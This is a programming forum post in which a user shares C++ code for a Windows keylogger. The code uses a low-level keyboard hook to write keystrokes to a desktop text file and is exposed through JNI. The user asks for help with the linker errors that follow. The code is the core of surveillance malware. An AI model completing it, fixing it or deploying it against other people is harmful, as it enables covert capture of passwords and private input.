i want to know the way i am calling the methods defined in windows.h from c++ program is correct or wrong.. when i tried to get the library files out of it, it is showing the errors saying that unresolved methods... i am using this for jni purpose...

 #define _WIN32_WINNT 0x0500
 #include "keylogs.h"
 #include <fstream>
 #include <windows.h>


using namespace std;

ofstream out("C:\Users\402100\Desktop\keyloggerfile.txt", ios::out);

LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) 
{
    PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
    // If key is being pressed
    if (wParam == WM_KEYDOWN) 
         {
             switch (p->vkCode) 
                  {
                     // Invisible keys
                 case VK_CAPITAL:   out << ""; break;
            case VK_SHIFT:  out << "";       break;
            case VK_LCONTROL:   out << "";       break;
            case VK_RCONTROL:   out << "";       break;
            case VK_INSERT: out << "";      break;
            case VK_END:    out << "";     break;
            case VK_PRINT:  out << "";       break;
            case VK_DELETE: out << "";     break;
            case VK_BACK:   out << "";      break;
            case VK_SPACE:  out << "";       break;
            case VK_RMENU:  out << "";        break;
            case VK_LMENU:  out << "";        break;
            case VK_LEFT:   out << "";        break;
            case VK_RIGHT:  out << "";       break;
            case VK_UP: out << "";      break;
            case VK_DOWN:   out << "";        break;

        // Visible keys
        default:
            out << char(tolower(p->vkCode));

    }
}

return CallNextHookEx(NULL, nCode, wParam, lParam);


}

JNIEXPORT void JNICALL Java_keylog_Main_CallerMethod(JNIEnv *env, jobject)
{
    HINSTANCE hInstance=GetModuleHandle(0);
    HHOOK keyboardHook = SetWindowsHookEx(
                  WH_KEYBOARD_LL,
                  keyboardHookProc,
        hInstance,
        0);
    MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);
    out.close();
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
 {

// Set windows hook

    return 0;

}

The errors which i am getting is...

file.obj : error LNK2019: unresolved external symbol _imp_CallNextHookEx@16 re ferenced in function "long __stdcall keyboardHookProc(int,unsigned int,long)" (? keyboardHookProc@@YGJHIJ@Z) file.obj : error LNK2019: unresolved external symbol _imp_MessageBoxA@16 refer enced in function "class std::basic_string,cl ass std::allocator > __cdecl CallerMethod(void)" (?CallerMethod@@YA?AV?$ba sic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@XZ) file.obj : error LNK2019: unresolved external symbol _imp_SetWindowsHookExA@16 referenced in function "class std::basic_string,class std::allocator > __cdecl CallerMethod(void)" (?CallerMethod@@YA? AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@XZ) c:\Users\402100\Desktop\oldfile.dll : fatal error LNK1120: 3 unresolved externals

can any one help me please....